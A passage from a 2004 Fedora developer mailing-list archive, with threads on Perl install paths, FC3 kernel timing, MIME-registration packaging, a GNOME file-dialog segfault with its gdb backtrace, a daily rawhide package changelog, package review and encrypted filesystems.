getting > installed in site_perl rather than vendor_perl with the Raw Hide Perl > package, not sure yet if this is my fault or Chip's :) On the 'perl Makefile.PL' code path, you can do 'INSTALLDIRS=vendor' to get the modules to go into the vendor directory tree instead of the site tree. Chip -- Chip Turner cturner at redhat.com Red Hat, Inc. From jerone at gmail.com Tue Oct 5 02:37:14 2004 From: jerone at gmail.com (Jerone Young) Date: Mon, 4 Oct 2004 21:37:14 -0500 Subject: Will FC3 wait for 2.6.9 ? Message-ID: <9f50a7a004100419371d5ed822@mail.gmail.com> The reason I ask is because I have a major bug (well major for me and any other person with a via-velocity card) that will be fixed in 2.6.9 release. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=133168 From feliciano.matias at free.fr Tue Oct 5 04:59:33 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Tue, 05 Oct 2004 06:59:33 +0200 Subject: Will FC3 wait for 2.6.9 ? In-Reply-To: <9f50a7a004100419371d5ed822@mail.gmail.com> References: <9f50a7a004100419371d5ed822@mail.gmail.com> Message-ID: <1096952370.18722.15.camel@localhost.localdomain> No, FC3 will not wait for 2.6.9 . This does not mean FC3 will be not released with 2.6.9 . -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From s.mako at gmx.net Tue Oct 5 07:19:44 2004 From: s.mako at gmx.net (Zoltan Kota) Date: Tue, 5 Oct 2004 09:19:44 +0200 (CEST) Subject: How to package with mime registering? Message-ID: Hi, FC3 is out soon. I'm packaging a program for fedora extras, which should register itself for the new mime system under FC3/Gnome2.8. So, update-desktop-database should be included in the spec file for FC3, but not for FC1 and FC2. How to make the packaging? Should I prepare a different srpm for FC3? Or including some if statement? Zoltan From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Tue Oct 5 08:36:02 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Tue, 5 Oct 2004 10:36:02 +0200 Subject: Segfaults with file selection dialogs Message-ID: <20041005103602.019b4b5a@localhost> Hi, Since yesterday, I've been getting segfaults with every single GNOME or GTK2 application that tries to display a file browsing dialog ("Save as..." for instance). I can't even add an attachment to this email either without sylpheed (gtk2 build) segfaulting, so inlined is a backtrace obtained from running gedit and going to "File -> Save as...". I'm posting here since I'm not even sure against which component I should file this bug (gnome-vfs2? libbonobo? glib2?). Matthias -- GNU gdb Red Hat Linux (6.1post-1.20040607.35rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) run Starting program: /usr/bin/gedit [Thread debugging using libthread_db enabled] [New Thread -151119264 (LWP 24099)] [New Thread 27098032 (LWP 24103)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread -151119264 (LWP 24099)] 0x06878710 in _gnome_vfs_drive_from_corba () from /usr/lib/libgnomevfs-2.so.0 (gdb) bt #0 0x06878710 in _gnome_vfs_drive_from_corba () from /usr/lib/libgnomevfs-2.so.0 #1 0x06891f72 in gnome_vfs_volume_monitor_client_get_type () from /usr/lib/libgnomevfs-2.so.0 #2 0x06892124 in gnome_vfs_volume_monitor_client_get_type () from /usr/lib/libgnomevfs-2.so.0 #3 0x0074a2cc in g_type_create_instance (type=156285248) at gtype.c:1595 #4 0x007315a1 in g_object_constructor (type=156285008, n_construct_properties=0, construct_params=0x0) at gobject.c:1044 #5 0x0073083f in g_object_newv (object_type=156278904, n_parameters=156278904, parameters=0x0) at gobject.c:941 #6 0x00731459 in g_object_new_valist (object_type=156278904, first_property_name=0x0, var_args=0xfef0aba8 "\v") at gobject.c:984 #7 0x00731578 in g_object_new (object_type=156278904, first_property_name=0x950b850 "x?P\t\001") at gobject.c:822 #8 0x06892909 in _gnome_vfs_get_volume_monitor_internal () from /usr/lib/libgnomevfs-2.so.0 #9 0x06892960 in gnome_vfs_get_volume_monitor () from /usr/lib/libgnomevfs-2.so.0 #10 0x00fd21cb in gtk_file_system_gnome_vfs_new () from /usr/lib/gtk-2.0/2.4.0/filesystems/libgnome-vfs.so #11 0x0074a2cc in g_type_create_instance (type=7533396) at gtype.c:1595 #12 0x007315a1 in g_object_constructor (type=156285008, n_construct_properties=0, construct_params=0x0) at gobject.c:1044 #13 0x0073083f in g_object_newv (object_type=156277080, n_parameters=156277080, parameters=0x0) at gobject.c:941 #14 0x00731459 in g_object_new_valist (object_type=156277080, first_property_name=0x0, var_args=0xfef0aff8 "\n") at gobject.c:984 #15 0x00731578 in g_object_new (object_type=156277080, first_property_name=0x950b850 "x?P\t\001") at gobject.c:822 #16 0x00fd1fce in gtk_file_system_gnome_vfs_new () from /usr/lib/gtk-2.0/2.4.0/filesystems/libgnome-vfs.so #17 0x00fd520f in fs_module_create () from /usr/lib/gtk-2.0/2.4.0/filesystems/libgnome-vfs.so #18 0x00a2f50c in gtk_file_system_module_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #19 0x00a2f5f1 in gtk_file_system_module_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #20 0x00a21c69 in shortcuts_model_filter_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #21 0x00731777 in g_object_constructor (type=156285008, n_construct_properties=0, construct_params=0x9509438) at gobject.c:724 #22 0x00a21cc3 in shortcuts_model_filter_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #23 0x0073083f in g_object_newv (object_type=156171888, n_parameters=156171888, parameters=0x92e0d18) at gobject.c:941 #24 0x00731386 in g_object_new_valist (object_type=156171888, first_property_name=0x0, var_args=0xfef0b4c0 "d??") at gobject.c:1025 #25 0x00731578 in g_object_new (object_type=156171888, first_property_name=0x950b850 "x?P\t\001") at gobject.c:822 #26 0x00a23f93 in shortcuts_model_filter_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #27 0x00a2529d in gtk_file_chooser_widget_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #28 0x0073083f in g_object_newv (object_type=156170344, n_parameters=156170344, parameters=0x0) at gobject.c:941 #29 0x00731459 in g_object_new_valist (object_type=156170344, first_property_name=0x0, var_args=0xfef0b748 "??N\t\236rl") at gobject.c:984 #30 0x00731578 in g_object_new (object_type=156170344, first_property_name=0x950b850 "x?P\t\001") at gobject.c:822 #31 0x00a198ee in gtk_file_chooser_dialog_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #32 0x0073083f in g_object_newv (object_type=156150088, n_parameters=156166344, parameters=0x94ee728) at gobject.c:941 #33 0x00731386 in g_object_new_valist (object_type=156150088, first_property_name=0x0, var_args=0xfef0b9d0 "") at gobject.c:1025 #34 0x00731578 in g_object_new (object_type=156150088, first_property_name=0x950b850 "x?P\t\001") at gobject.c:822 #35 0x00a19b09 in gtk_file_chooser_dialog_get_type () from /usr/lib/libgtk-x11-2.0.so.0 #36 0x00a19b84 in gtk_file_chooser_dialog_new () from /usr/lib/libgtk-x11-2.0.so.0 #37 0x08080519 in run_file_selector (parent=0x0, enable_vfs=0, mode=FILESEL_SAVE, title=0x950b850 "x?P\t\001", default_path=0x0, default_filename=0x0, untitled_name=0x94ebee8 "Untitled 1", encoding=0xfef0bab8) at gedit-file-selector-util.c:350 #38 0x08073f97 in gedit_file_save_as (child=0x94661a0) at gedit-file.c:409 #39 0x06909619 in bonobo_socket_add_id () from /usr/lib/libbonoboui-2.so.0 #40 0x0072d347 in g_closure_invoke (closure=0x92eac20, return_value=0x950b850, n_param_values=156285008, param_values=0x950b850, invocation_hint=0x950b850) at gclosure.c:437 #41 0x06823518 in bonobo_closure_invoke_va_list (closure=0x92eac20, return_value=0x950b850, var_args=0xfef0bcec "?:=") at bonobo-types.c:415 #42 0x06823785 in bonobo_closure_invoke (closure=0x92eac20, return_type=4) at bonobo-types.c:478 #43 0x0690a72d in bonobo_ui_component_get_type () from /usr/lib/libbonoboui-2.so.0 #44 0x06824553 in _ORBIT_skel_small_Bonobo_UIComponent_execVerb (_o_servant=0x950b850, _o_retval=0x0, _o_args=0x950b850, _o_ctx=0x0, _o_ev=0x950b850, _impl_execVerb=0x690a630 ) at Bonobo-common.c:1196 #45 0x003eb46d in ORBit_c_stub_invoke () from /usr/lib/libORBit-2.so.0 #46 0x068281a2 in Bonobo_UIComponent_execVerb (_obj=0x950b850, cname=0x9458810 "FileSaveAs", ev=0x950b850) at Bonobo-stubs.c:1227 #47 0x06912fef in bonobo_ui_engine_dump () from /usr/lib/libbonoboui-2.so.0 #48 0x00745b86 in g_cclosure_marshal_VOID__POINTER (closure=0x9296a28, return_value=0x0, n_param_values=2, param_values=0xfef0c1b0, invocation_hint=0xfef0c088, marshal_data=0x6912e6f) at gmarshal.c:601 #49 0x0072d6b2 in g_type_class_meta_marshal (closure=0x9296a28, return_value=0x950b850, n_param_values=156285008, param_values=0xfef0c1b0, invocation_hint=0x950b850, marshal_data=0x950b850) at gclosure.c:514 #50 0x0072d347 in g_closure_invoke (closure=0x9296a28, return_value=0x950b850, n_param_values=156285008, param_values=0x950b850, invocation_hint=0x950b850) at gclosure.c:437 #51 0x00743576 in signal_emit_unlocked_R (node=0x9296d68, detail=0, instance=0x9295f10, emission_return=0x0, instance_and_params=0xfef0c1b0) at gsignal.c:2473 #52 0x007449bc in g_signal_emit_valist (instance=0x9295f10, signal_id=1, detail=0, var_args=0xfef0c340 "?z\223\0068?,\th???\232w\221\006\020_)\t??,\t*Pt") at gsignal.c:2194 #53 0x00744c5a in g_signal_emit (instance=0x950b850, signal_id=156285008, detail=156285008) at gsignal.c:2238 #54 0x06912b86 in bonobo_ui_engine_emit_verb_on_w () from /usr/lib/libbonoboui-2.so.0 #55 0x0691779a in bonobo_ui_sync_wrap_widget () from /usr/lib/libbonoboui-2.so.0 #56 0x007450ae in g_cclosure_marshal_VOID__VOID (closure=0x691776e, return_value=0x0, n_param_values=1, param_values=0x950b850, invocation_hint=0xfef0c588, marshal_data=0x0) at gmarshal.c:77 #57 0x0072d347 in g_closure_invoke (closure=0x92ce638, return_value=0x950b850, n_param_values=156285008, param_values=0x950b850, invocation_hint=0x950b850) at gclosure.c:437 #58 0x0074294e in signal_emit_unlocked_R (node=0x92baec8, detail=0, instance=0x92ce5c0, emission_return=0x0, instance_and_params=0xfef0c6b0) at gsignal.c:2435 #59 0x007449bc in g_signal_emit_valist (instance=0x92ce5c0, signal_id=1, detail=0, var_args=0xfef0c83c "0\035H\t\210????FB") at gsignal.c:2194 #60 0x00744c5a in g_signal_emit (instance=0x950b850, signal_id=156285008, detail=156285008) at gsignal.c:2238 #61 0x00b606f9 in gtk_widget_activate () from /usr/lib/libgtk-x11-2.0.so.0 #62 0x00a7c300 in gtk_menu_shell_activate_item () from /usr/lib/libgtk-x11-2.0.so.0 #63 0x00a7c60a in gtk_menu_shell_activate_item () from /usr/lib/libgtk-x11-2.0.so.0 #64 0x00a72d1d in gtk_menu_reorder_child () from /usr/lib/libgtk-x11-2.0.so.0 #65 0x00a6cda7 in gtk_marshal_VOID__UINT_STRING () from /usr/lib/libgtk-x11-2.0.so.0 #66 0x0072d6b2 in g_type_class_meta_marshal (closure=0x92a0ca0, return_value=0x950b850, n_param_values=156285008, param_values=0xfef0cc70, invocation_hint=0x950b850, marshal_data=0x950b850) at gclosure.c:514 #67 0x0072d347 in g_closure_invoke (closure=0x92a0ca0, return_value=0x950b850, n_param_values=156285008, param_values=0x950b850, invocation_hint=0x950b850) at gclosure.c:437 #68 0x00743576 in signal_emit_unlocked_R (node=0x9290800, detail=0, instance=0x92bb6c0, emission_return=0xfef0cc10, instance_and_params=0xfef0cc70) at gsignal.c:2473 #69 0x00744613 in g_signal_emit_valist (instance=0x92bb6c0, signal_id=0, detail=0, var_args=0xfef0ce00 "\b?????+\t") at gsignal.c:2204 #70 0x00744c5a in g_signal_emit (instance=0x950b850, signal_id=156285008, detail=156285008) at gsignal.c:2238 #71 0x00b60885 in gtk_widget_activate () from /usr/lib/libgtk-x11-2.0.so.0 #72 0x00a6b06b in gtk_propagate_event () from /usr/lib/libgtk-x11-2.0.so.0 #73 0x00a6b370 in gtk_main_do_event () from /usr/lib/libgtk-x11-2.0.so.0 #74 0x008b6092 in gdk_event_get_graphics_expose () from /usr/lib/libgdk-x11-2.0.so.0 #75 0x006ca4fb in g_main_context_dispatch (context=0x926b2e8) at gmain.c:1942 #76 0x006cbf82 in g_main_context_iterate (context=0x926b2e8, block=1, dispatch=1, self=0x924d788) at gmain.c:2573 #77 0x006cc22f in g_main_loop_run (loop=0x9460ea0) at gmain.c:2777 #78 0x00a6a6ce in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0 #79 0x0805fcea in main (argc=0, argv=0xfef0d134) at gedit2.c:398 (gdb) quit The program is running. Exit anyway? (y or n) -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.24 0.44 0.56 From fedora at wir-sind-cool.org Tue Oct 5 10:28:44 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 5 Oct 2004 12:28:44 +0200 Subject: How to package with mime registering? In-Reply-To: References: Message-ID: <20041005122844.4fae8ba8.fedora@wir-sind-cool.org> On Tue, 5 Oct 2004 09:19:44 +0200 (CEST), Zoltan Kota wrote: > Hi, > > FC3 is out soon. I'm packaging a program for fedora extras, which should > register itself for the new mime system under FC3/Gnome2.8. So, > update-desktop-database should be included in the spec file for FC3, but > not for FC1 and FC2. How to make the packaging? Should I prepare a > different srpm for FC3? Or including some if statement? Yes to the latter. Make it require desktop-file-utils for the scriplets and call update-desktop-database only if it exists. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 0.00 0.03 0.05 From wtogami at redhat.com Tue Oct 5 11:28:46 2004 From: wtogami at redhat.com (Warren Togami) Date: Tue, 05 Oct 2004 01:28:46 -1000 Subject: Segfaults with file selection dialogs In-Reply-To: <20041005103602.019b4b5a@localhost> References: <20041005103602.019b4b5a@localhost> Message-ID: <4162856E.30801@redhat.com> Matthias Saou wrote: > Hi, > > Since yesterday, I've been getting segfaults with every single GNOME or > GTK2 application that tries to display a file browsing dialog ("Save as..." > for instance). I can't even add an attachment to this email either without > sylpheed (gtk2 build) segfaulting, so inlined is a backtrace obtained from > running gedit and going to "File -> Save as...". > I'm posting here since I'm not even sure against which component I should > file this bug (gnome-vfs2? libbonobo? glib2?). > Try killing gnome-vfs-daemon, may require a relog. Apparently there was some issue about the internal protocol changing. Warren From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Tue Oct 5 11:44:38 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Tue, 5 Oct 2004 13:44:38 +0200 Subject: Segfaults with file selection dialogs In-Reply-To: <4162856E.30801@redhat.com> References: <20041005103602.019b4b5a@localhost> <4162856E.30801@redhat.com> Message-ID: <20041005134438.3c6a53ea@localhost> Warren Togami wrote : > > Since yesterday, I've been getting segfaults with every single GNOME or > > GTK2 application that tries to display a file browsing dialog ("Save > > as..." for instance). I can't even add an attachment to this email > > either without sylpheed (gtk2 build) segfaulting, so inlined is a > > backtrace obtained from running gedit and going to "File -> Save > > as...". I'm posting here since I'm not even sure against which > > component I should file this bug (gnome-vfs2? libbonobo? glib2?). > > > > Try killing gnome-vfs-daemon, may require a relog. Apparently there was > some issue about the internal protocol changing. Thanks, that was it apparently. It made nautilus crash, but everything works again now. I was pretty sure I had logged out and in again since the problem started... then again, now that I finally have suspend to RAM working, I'm going to be extra careful about things like this ;-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.8-1.521.dell Load : 0.79 0.50 0.39 From fedora at wir-sind-cool.org Tue Oct 5 12:49:13 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Tue, 5 Oct 2004 14:49:13 +0200 Subject: QA-process for new packages In-Reply-To: <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> Message-ID: <20041005144913.632b33b7.fedora@wir-sind-cool.org> On Thu, 30 Sep 2004 14:47:25 -0400, Michael Tiemann wrote: > Silke, I'll volunteer to be one of your reviewers. Good to hear that. Though, Silke's packages are held up by packages at the bottom of their dependency chain, e.g. shapelib: https://bugzilla.fedora.us/show_bug.cgi?id=920 That package blocks four other tickets, so one would guess the packagers would try to get it released with higher priority. Would be much appreciated to get your comments there. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.521 loadavg: 2.50 2.22 1.98 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From buildsys at redhat.com Tue Oct 5 12:51:32 2004 From: buildsys at redhat.com (Build System) Date: Tue, 5 Oct 2004 08:51:32 -0400 Subject: rawhide report: 20041005 changes Message-ID: <200410051251.i95CpWa11675@porkchop.devel.redhat.com> Updated Packages: VFlib2-2.25.6-25 ---------------- * Mon Oct 04 2004 Akira TAGOH - 2.25.6-25 - removed the wrong version in Summary for -devel. (Moritz Barsnick, #134515) anaconda-10.0.3.14-1 -------------------- * Mon Oct 04 2004 Jeremy Katz - 10.0.3.14-1 - Some zfcp fixes - Don't traceback if we have a %include inside a scriptlet (#120252) - Fix SELinux for text-mode ftp/http installs (#134549) * Mon Oct 04 2004 Mike McLean - 10.0.3.12-1 - add command line options to pkgorder (mikem) * Mon Oct 04 2004 Jeremy Katz - 10.0.3.11-1 - Handle 32 raid devs (#134438) - Fix LCS PORTNAME (#134487) - Add logging of kickstart scripts with --log to %post/%pre - Copy /tmp/anaconda.log and /tmp/syslog to /var/log/anaconda.log and /var/log/anaconda.syslog respectively (#124370) - Fix Polish (#134554) - Add arch-specific package removal (#133396) - Include PPC PReP Boot partition in anaconda-ks.cfg (#133934) - Fix changing of VG name going through to boot loader setup (#132213) - Add support for > 128 SCSI disks (#134575) binutils-2.15.92.0.2-2 ---------------------- * Mon Oct 04 2004 Jakub Jelinek 2.15.92.0.2-2 - update to 2.15.92.0.2 - change ld's ld.so.conf parser to match ldconfig's (#129340) booty-0.44-1 ------------ * Mon Oct 04 2004 Jeremy Katz - 0.44-1 - don't include /dev/ in the console name (#134336) - fix installing boot loader to partition with RAID1 /boot (#127557) coreutils-5.2.1-30 ------------------ * Mon Oct 04 2004 Dan Walsh 5.2.1-30 - Mv runuser to /sbin * Mon Oct 04 2004 Dan Walsh 5.2.1-28 - Fix runuser man page. * Mon Oct 04 2004 Tim Waugh - Fixed build. cups-1.1.21-5 ------------- * Mon Oct 04 2004 Tim Waugh 1:1.1.21-5 - Fixed reload logic (bug #134080). dasher-3.2.11-4 --------------- * Mon Oct 04 2004 GNOME - 3.2.11-4 - install schemas file by hand * Wed Sep 22 2004 Bill Nottingham - fix typo (#133058) desktop-printing-0.15.2-2 ------------------------- * Mon Oct 04 2004 John (J5) Palmieri 0.15.2-2 - Added patch that fixes the values placed in gconf for configuring printer. - Values now represent the make and model the user selected and not what hal reports dictd-1.9.7-4 ------------- * Mon Oct 04 2004 Karsten Hopp 1.9.7-4 - add initscript firefox-0.10.0-1.0PR1.7 ----------------------- * Fri Oct 01 2004 Bill Nottingham 0:0.10.0-1.0PR1.7 - filter out library Provides: and internal Requires: * Thu Sep 30 2004 Christopher Aillon 0:0.10.0-1.0PR1.6 - Prereq desktop-file-utils >= 0.9 * Thu Sep 30 2004 Christopher Aillon 0:0.10.0-1.0PR1.5 - Add clipboard access prevention patch. gcc-3.4.2-4 ----------- * Tue Oct 05 2004 Jakub Jelinek 3.4.2-4 - remove VMClassLoader change * Mon Oct 04 2004 Jakub Jelinek 3.4.2-3 - update from gcc-3_4-branch - PRs 15886, bootstrap/17369, c++/14179, c/15498, c++/16162, c/16566, c++/17327, c++/17501, c++/17585, driver/17537, inline-asm/6806, libgcj/17465, libstdc++/11722, libstdc++/16715, libstdc++/16848, libstdc++/17259, libstdc++/17469, other/15526, rtl-opt/17186, rtl-optimization/9771, target/11476, target/14064, target/15583, target/16884, target/17167, target/17277, target/17455, target/17493, target/17565 - fix Fortran double precision constant handling (Bud Davis, PR fortran/17541, #133694) - fix up gnat_ung_unw's info direntry (#133629) - install-info gnat-style - another backport of s390{,x} -mkernel-backchain, by Andreas Krebbel - remove nothrow attribute from stdio builtins that might be cancellation points - change ZipFile Java class so that it returns null if not found to make ant happy (Anthony Green) - x86-64 libffi argument alignment fix (Andrew Haley) gnome-python2-2.6.0-2 --------------------- * Mon Oct 04 2004 GNOME - 2.6.0-2 - fix gtkhtml2 to work in a lot of cases, #147404 * Mon Oct 04 2004 GNOME - 2.6.0-1 - new version gtk2-2.4.10-7 ------------- * Mon Oct 04 2004 Matthias Clasen - 2.4.10-7 - Don't move binaries to -32/-64 needlessly. im-sdk-12.0.1-12.svn1943 ------------------------ * Mon Oct 04 2004 Jens Petersen - 1:12.0.1-12.svn1943 - update gimlet to 1.1.1 which fixes problems on 64bit, with gimlet-1.1.0_1.1.1.diff (Warren Togami,132950) - update iiimf-qt with iiimqcf-update.diff (svn1946) - remove im-sdk-newpy-noinst-lt.patch and reverse patch from im-sdk-20040203-build.patch - build with -Wall * Mon Oct 04 2004 Akira TAGOH - im-sdk-12.0.1-iiimp-bigendian.patch: removed, it's no longer needed. - leif-freewnn-ia64.patch: applied to fix the unexpected exception. (#134181) irda-utils-0.9.16-3 ------------------- * Mon Oct 04 2004 Karsten Hopp 0.9.16-3 - load irda modules to make it work with udev (#134322) kdepim-3.3.0-2 -------------- * Mon Oct 04 2004 Than Ngo 6:3.3.0-2 - fix korganizer crash on startup #134458 mdadm-1.6.0-2 ------------- * Mon Oct 04 2004 Doug Ledford 1.6.0-2 - Remove /etc/mdadm.conf from the file list. Anaconda will write one out if it's needed. mod_authz_ldap-0.26-2 --------------------- * Mon Oct 04 2004 Joe Orton 0.26-2 - fix auth failures when not configured (#134496) nautilus-2.8.0-2 ---------------- * Mon Oct 04 2004 Alexander Larsson - 2.8.0-2 - Backport various bugfixes from HEAD * Mon Sep 13 2004 Alexander Larsson - 2.8.0-1 - Update to 2.8.0 * Fri Sep 10 2004 Alexander Larsson - 2.7.92-3 - Don't require eject on s390(x), since there is none (#132228) postfix-2.1.5-1 --------------- * Mon Oct 04 2004 Thomas Woerner 2:2.1.5-1 - new version 2.1.5 - new ipv6 and tls+ipv6 patches: 1.25-pf-2.1.5 ppp-2.4.2-6.1 ------------- * Mon Oct 04 2004 David Woodhouse 2.4.2-6.1 - Include atmsap.h for pppoatm plugin. * Mon Oct 04 2004 David Woodhouse 2.4.2-6 - Add pppoatm plugin (#131555) pygtk2-2.4.0-1 -------------- * Mon Oct 04 2004 GNOME - 2.4.0-1 - new version pyorbit-2.0.1-1 --------------- redhat-artwork-0.110-1 ---------------------- * Mon Oct 04 2004 Alexander Larsson - 0.110-1 - Fix gnome folder icons (#134460) * Fri Oct 01 2004 Jeremy Katz - 0.109-1.1E - RHEL rebuild rpmdb-fedora-2.92-0.20041005 ---------------------------- selinux-policy-strict-1.17.26-3 ------------------------------- * Mon Oct 04 2004 Dan Walsh 1.17.26-2 - Fix inetd_child stuff. * Mon Oct 04 2004 Dan Walsh 1.17.26-2 - Cleanup sendmail policy. selinux-policy-targeted-1.17.26-3 --------------------------------- * Mon Oct 04 2004 Dan Walsh 1.17.26-3 - Fix inetd_child stuff. * Mon Oct 04 2004 Dan Walsh 1.17.26-2 - Cleanup sendmail policy. sound-juicer-0.5.13-2 --------------------- * Mon Oct 04 2004 Colin Walters 0.5.13-2 - Apply patch to avoid prefs crash subversion-1.1.0-5 ------------------ * Mon Oct 04 2004 Joe Orton 1.1.0-5 - use pure_vendor_install to fix Perl modules - use %find_lang to package translations (Axel Thimm) * Thu Sep 30 2004 Joe Orton 1.1.0-4 - don't use parallel make for swig-py * Thu Sep 30 2004 Joe Orton 1.1.0-3 - BuildRequire newest swig for "swig -ldflags" fix sudo-1.6.7p5-30.1 ----------------- * Mon Oct 04 2004 Thomas Woerner 1.6.7p5-30.1 - added missing BuildRequires for libselinux-devel (#132883) system-config-nfs-1.2.8-1 ------------------------- * Mon Oct 04 2004 Nils Philippsen 1.2.8-1 - pull in updated translations system-config-samba-1.2.17-1 ---------------------------- * Mon Oct 04 2004 Nils Philippsen - 1.2.17-1 - updated translations system-config-users-1.2.22-1 ---------------------------- * Mon Oct 04 2004 Nils Philippsen - 1.2.22-1 - updated translations udev-032-8 ---------- * Mon Oct 04 2004 Harald Hoyer - 032-8 - added patches from F??liciano Matias for multiple symlinks (bug 134477 and 134478) - corrected some permissions with a missing leading 0 - added z90crypt to the permissions file (bug 134448) - corrected requires and conflicts tags - removed /dev/log from MAKEDEV creation usermode-1.73-1 --------------- * Mon Oct 04 2004 Jindrich Novy 1.73-1 - add support to configure.in for more languages - update translations from upstream - generate build scripts by autogen.sh valgrind-2.2.0-3 ---------------- * Tue Oct 05 2004 Jakub Jelinek 2.2.0-3 - remove workaround for buggy old makes (#134563) xinitrc-4.0.7-1 --------------- * Tue Oct 05 2004 Mike A. Harris 4.0.7-1 - Fix dbus invocation to quit with X session, by adding --exit-with-session switch in Xsession and xinitrc. (#133557) - Fix Xsession and xinitrc ssh-agent invocation to only start if ssh-agent is not already running (#90158) * Tue Oct 05 2004 Mike A. Harris 4.0.6-1 - Secondary wmakerectomy to prevent remission. xmms-1.2.10-7 ------------- * Mon Oct 04 2004 Colin Walters 1:1.2.10-7 - PreReq desktop-file-utils 0.9 - Run update-desktop-database yum-2.1.5-1 ----------- * Mon Oct 04 2004 Jeremy Katz - 2.1.5-1 - 2.1.5 - turn on obsoletes=1 by default in yum.conf From tiemann at redhat.com Tue Oct 5 13:01:08 2004 From: tiemann at redhat.com (Michael Tiemann) Date: Tue, 05 Oct 2004 09:01:08 -0400 Subject: QA-process for new packages In-Reply-To: <20041005144913.632b33b7.fedora@wir-sind-cool.org> References: <20040930172637.GH26396@intevation.de> <20040930203902.0922ff72.fedora@wir-sind-cool.org> <1096570045.3459.228.camel@dhcp63-226.rdu.redhat.com> <20041005144913.632b33b7.fedora@wir-sind-cool.org> Message-ID: <1096981268.3608.52.camel@localhost.localdomain> Please tell me what I need to do. If I need to be a package reviewer for shapelib, I'll do that. If I need to lobby people inside Red Hat, I'll try to do that. I think it's hugely important that Fedora be a good host for GIS software users and developers. M On Tue, 2004-10-05 at 08:49, Michael Schwendt wrote: > On Thu, 30 Sep 2004 14:47:25 -0400, Michael Tiemann wrote: > > > Silke, I'll volunteer to be one of your reviewers. > > Good to hear that. Though, Silke's packages are held up by packages > at the bottom of their dependency chain, e.g. shapelib: > > https://bugzilla.fedora.us/show_bug.cgi?id=920 > > That package blocks four other tickets, so one would guess the > packagers would try to get it released with higher priority. Would be > much appreciated to get your comments there. From fedora-devel at camperquake.de Tue Oct 5 13:10:52 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Tue, 5 Oct 2004 15:10:52 +0200 Subject: On encrypted file systems Message-ID: <20041005151052.4712b83b@nausicaa.camperquake.de> Hi. I've read the thread about encrypted file systems (including /) on this list back in July via the archive, and I'd like to ask if there was further development in this direction. I will set up my iBook with Fedora devel in the near future, and I'd like to have some protection on the disk. Encrypted / (with passphrase at boot) and encrypted swap will be enough for my purpose. Thanks. -- "The right to be heard does not include the right to be taken seriously." -- Hubert H. Humphrey From dnjinc at wowway.com Tue Oct 5 13:17:04 2004 From: dnjinc at wowway.com (Demond James) Date: Tue, 05 Oct 2004 09:17:04 -0400 Subject: rawhide report: 20041001 changes In-Reply-To: <2ad7cea10410041100dd14d18@mail.gmail.com> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> <41617DE0.3040905@silverorange.com> <2ad7cea10410041100dd14d18@mail.gmail.com> Message-ID: <41629ED0.1010709@wowway.com> Jon Savage wrote: >>>We've changed the default panel layout to adapt it more towards the >>>default GNOME panel layout. This layout is a dual panel system, I have >>>a screenshot [1] of the new layout which will explain it much faster >>>than me trying to describe it. >>> >>> >>Excellent move - I've not used a two panel layout enough to know if I'll >>like it or not, but I'm all for getting closer to up-stream Gnome. >> >>Steven Garrity >> >> >FWIW I'm liking the two panel layout *a lot*. > > First time using it and really liking it so far. From feliciano.matias at free.fr Tue Oct 5 14:04:01 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 05 Oct 2004 16:04:01 +0200 Subject: On encrypted file systems In-Reply-To: <20041005151052.4712b83b@nausicaa.camperquake.de> References: <20041005151052.4712b83b@nausicaa.camperquake.de> Message-ID: <1096985041.26308.9.camel@localhost.localdomain> Le mardi 05 octobre 2004 ? 15:10 +0200, Ralf Ertzinger a ?crit : > Hi. > > I've read the thread about encrypted file systems (including /) on this > list back in July via the archive, and I'd like to ask if there was further > development in this direction. > Seems it's for FC4 : http://www.redhat.com/archives/fedora-devel-list/2004-October/msg00061.html > I will set up my iBook with Fedora devel in the near future, and I'd like > to have some protection on the disk. Encrypted / (with passphrase at boot) > and encrypted swap will be enough for my purpose. > > Thanks. > > -- > "The right to be heard does not include the right to be taken seriously." > -- Hubert H. Humphrey > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora at wir-sind-cool.org Tue Oct 5 14:09:49 